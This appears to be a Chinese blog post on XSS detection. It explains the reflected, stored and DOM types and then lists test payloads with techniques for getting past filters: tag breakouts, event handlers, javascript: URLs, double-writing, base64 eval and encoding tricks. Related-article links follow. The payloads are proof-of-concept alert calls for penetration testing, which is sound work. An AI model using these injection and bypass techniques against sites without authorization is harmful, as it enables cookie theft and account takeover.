XSS漏洞介绍

    跨站脚本XSS是一种针对网站应用程序的安全漏洞攻击技术。恶意攻击者往web页面插入恶意的Script代码,当用于浏览该页时,嵌入web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可能会得到很高的权限,进而进行一些非法操作。

XSS攻击需要了解什么

1.获取管理员的cookie信息、篡改网页的链接

2.存储型XSS,将恶意代码存放在服务端,正常用户访问,恶意代码也会获取用户的cookie

检测测是否存在XSS的方法:将该语句发给服务器:,如果服务器端没有进行过滤,服务器就会返回给客户端,则服务器端存在XSS漏洞。主要就是看服务器端给客户端的响应。(使用burp抓包response)

3.发生位置:留言板、评论、搜索

4.分类:反射型XSS(需要发给客户,客户点击链接才会触发)、存储型XSS(危害严重)、Dom型(特殊的反射型,也需要客户点击链接才会触发)

5.改链接(用来引流),改cookie(用来提权)

XSS检测总结

常用XSS检测

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

直接检测

<script>alert('hi')</script>
<script>alert(document.domain)</script>

闭合<input>标签

"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>

闭合选择框,burp抓包修改

</option><script>alert(document.domain)</script>

存在隐藏提交项,burp抓包修改

隐藏项目名"><script>alert(document.domain)</script>

或者使用svg onload事件触发JS代码

隐藏项目名"><svg onload=alert(document.domain)>%0a

限制maxlength的数值

maxlength="1000000"

<script>被转义,使用html事件处理器

xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>

使用JavaScript伪协议

<a href="javascript:alert(document.domain)">
如果不想让链接执行<a href="javascript:void(0)">javascript:alert(document.domain)

双写绕过(或者多写)

"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>

编码绕过

"><script>eval(atob('xxxx'))</script>

其中,xxx是alert(document.domain)的base64编码,atob的作用是把base64解码

伪协议绕过

"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>

空格绕过

"><a href="javascr     ipt:alert(document.domain)">xss</a>"><a

IE浏览器特性绕过

IE中两个反引号``可以闭合一个左边的引号

``onclick=alert(document.domain)

双斜杠16进制绕过、双斜杠unicode绕过

    将被过滤的字符进行不同编码,一次或者多次进行绕过

注意

    在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行绕过。

XSS检测总结的更多相关文章

  1. HMM XSS检测

    HMM XSS检测 转自:http://www.freebuf.com/articles/web/133909.html 前言 上篇我们介绍了HMM的基本原理以及常见的基于参数的异常检测实现,这次我们 ...

  2. XSS检测工具 X5S/fiddler

    x5s http://xss.codeplex.com/ 5s是fiddler的插件, 协助XSS脚本攻击的穿刺性测试.  需要手动驱动. 安全编码,unicode字符变形,ut-8编码. 5s is ...

  3. Burpsuite-Intruder-xssValidator(XSS检测)基础学习

    这次总结的是使用Burp+PhantomJS进行xss测试. 首先,当然是xss测试的环境配置了. 1. PhantomJS安装及Path配置:自己找资料吧. phantomjs -v验证是否成功安装 ...

  4. XSS动态检测

    0x00 起 前一段时间,因为工作原因接触到XSS漏洞检测.前人留下的锅,是采用pyqt webkit来解析网页内容.作为Python webkit框架,相比于PhantomJS,pyqt在捕获错误, ...

  5. web安全之xss

    xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的. 重点在于脚本,javascript和actionscript    ...

  6. Cross-Site Scripting(XSS)简介

    最近才开始研究HTML以及安全问题.如果有什么说得不对的地方,望请指出. 在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击.在OWASP所列出的十大网络 ...

  7. ThinkCMF 解决xss攻击问题

    最近使用ThinkCMF给某政府开发的一个平台,因为他们需要通过国家二级信息安全等级测试 所以自己先使用Appscan测试了一下,结果扫描出一个xss安全问题 测试的网址:http://www.xxx ...

  8. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  9. 跨站的艺术-XSS Fuzzing 的技巧

    作者 | 张祖优(Fooying)  腾讯云 云鼎实验室 对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing:同样是Fuzzing, ...

随机推荐

  1. 曹工说Redis源码(6)-- redis server 主循环大体流程解析

    文章导航 Redis源码系列的初衷,是帮助我们更好地理解Redis,更懂Redis,而怎么才能懂,光看是不够的,建议跟着下面的这一篇,把环境搭建起来,后续可以自己阅读源码,或者跟着我这边一起阅读.由于 ...

  2. Python 控制流代码混淆简介,加大别人分析你代码逻辑和流程难度

    前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: 王平 PS:如有需要Python学习资料的小伙伴可以加点击下方链接自 ...

  3. A 蚂蚁觅食

    A. 蚂蚁觅食(一) 单点时限: 1.0 sec 内存限制: 512 MB 一只饥饿的小蚂蚁外出觅食,幸运的小蚂蚁发现了好多食物,但是它只有一次搬食物的机会.可因为力气太小了,它不能搬走重量超过自己体 ...

  4. 莫名的证书错误...ERROR ITMS-90035:"Invalid Signature.

    请删除 .DS_Store 这种类似的文件再尝试

  5. [javascript] jquery的父子兄弟节点查找

    jQuery.parent(expr) 找父亲节点,可以传入expr进行过滤,比如$("span").parent()或者$("span").parent(&q ...

  6. kubernetes的Service是什么?

    service到底是什么? k8s的service定义了一个服务的访问入口地址,前端的应用通过这个入口地址访问其背后的一组由pod副本组成的集群实例.来自外部的访问请求被负载均衡到后端的各个容器应用上 ...

  7. pytorch 中LSTM模型获取最后一层的输出结果,单向或双向

    单向LSTM import torch.nn as nn import torch seq_len = 20 batch_size = 64 embedding_dim = 100 num_embed ...

  8. 文件读取的时候要留意 -- 序列化serialize()与反序列化unserialize():

    原文:https://blog.csdn.net/little_rabbit_baby/article/details/53840543 序列化serialize()与反序列化unserialize( ...

  9. centos7在命令行下安装图形界面

    yum groupinstall "GNOME Desktop" "Graphical Administration Tools" ln -sf /lib/sy ...

  10. 我们常听到的WAL到底是什么

    什么是 WAL WAL(Write Ahead Log)预写日志,是数据库系统中常见的一种手段,用于保证数据操作的原子性和持久性. 在计算机科学中,预写式日志(Write-ahead logging, ...